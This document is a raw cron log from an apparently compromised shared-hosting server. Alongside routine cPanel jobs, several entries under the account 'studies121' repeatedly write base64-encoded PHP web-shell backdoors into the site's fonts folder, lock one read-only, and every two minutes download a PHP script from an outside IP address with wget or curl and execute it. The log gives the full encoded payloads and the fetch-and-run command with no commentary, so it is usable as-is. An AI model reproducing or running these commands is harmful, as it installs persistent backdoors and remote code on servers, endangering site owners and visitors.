Sep 21 12:31:01 ip-184-168-122-23 CROND[2395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:31:01 ip-184-168-122-23 CROND[2396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:32:01 ip-184-168-122-23 CROND[2609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:32:01 ip-184-168-122-23 CROND[2611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:32:02 ip-184-168-122-23 CROND[2613]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:32:02 ip-184-168-122-23 CROND[2612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:32:02 ip-184-168-122-23 CROND[2614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:33:01 ip-184-168-122-23 CROND[2977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:33:01 ip-184-168-122-23 CROND[2975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:33:01 ip-184-168-122-23 CROND[2976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:33:01 ip-184-168-122-23 CROND[2978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:34:01 ip-184-168-122-23 CROND[3146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:34:01 ip-184-168-122-23 CROND[3149]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:34:01 ip-184-168-122-23 CROND[3148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:34:01 ip-184-168-122-23 CROND[3150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:34:01 ip-184-168-122-23 CROND[3151]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:35:01 ip-184-168-122-23 CROND[3330]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 12:35:01 ip-184-168-122-23 CROND[3331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:35:01 ip-184-168-122-23 CROND[3334]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 12:35:01 ip-184-168-122-23 CROND[3337]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 12:35:01 ip-184-168-122-23 CROND[3335]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 21 12:35:01 ip-184-168-122-23 CROND[3344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:35:01 ip-184-168-122-23 CROND[3343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:35:01 ip-184-168-122-23 CROND[3342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:36:01 ip-184-168-122-23 CROND[3492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:36:01 ip-184-168-122-23 CROND[3495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:36:01 ip-184-168-122-23 CROND[3494]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:36:01 ip-184-168-122-23 CROND[3496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:36:01 ip-184-168-122-23 CROND[3497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:37:01 ip-184-168-122-23 CROND[3622]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:37:01 ip-184-168-122-23 CROND[3623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:37:01 ip-184-168-122-23 CROND[3625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:37:01 ip-184-168-122-23 CROND[3626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:38:01 ip-184-168-122-23 CROND[3885]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:38:01 ip-184-168-122-23 CROND[3887]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:38:01 ip-184-168-122-23 CROND[3890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:38:01 ip-184-168-122-23 CROND[3888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:38:01 ip-184-168-122-23 CROND[3889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:39:01 ip-184-168-122-23 CROND[4009]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:39:01 ip-184-168-122-23 CROND[4011]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 12:39:01 ip-184-168-122-23 CROND[4013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:39:01 ip-184-168-122-23 CROND[4012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:39:01 ip-184-168-122-23 CROND[4014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:40:01 ip-184-168-122-23 CROND[4174]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:40:01 ip-184-168-122-23 CROND[4173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:40:01 ip-184-168-122-23 CROND[4178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:40:01 ip-184-168-122-23 CROND[4181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:40:01 ip-184-168-122-23 CROND[4182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:40:01 ip-184-168-122-23 CROND[4185]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 12:40:01 ip-184-168-122-23 CROND[4184]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 12:40:01 ip-184-168-122-23 CROND[4183]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 12:41:01 ip-184-168-122-23 CROND[4318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:41:01 ip-184-168-122-23 CROND[4320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:41:01 ip-184-168-122-23 CROND[4321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:41:01 ip-184-168-122-23 CROND[4322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:42:01 ip-184-168-122-23 CROND[4469]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:42:01 ip-184-168-122-23 CROND[4471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:42:01 ip-184-168-122-23 CROND[4472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:42:01 ip-184-168-122-23 CROND[4473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:42:01 ip-184-168-122-23 CROND[4474]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:43:01 ip-184-168-122-23 CROND[4606]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:43:01 ip-184-168-122-23 CROND[4605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
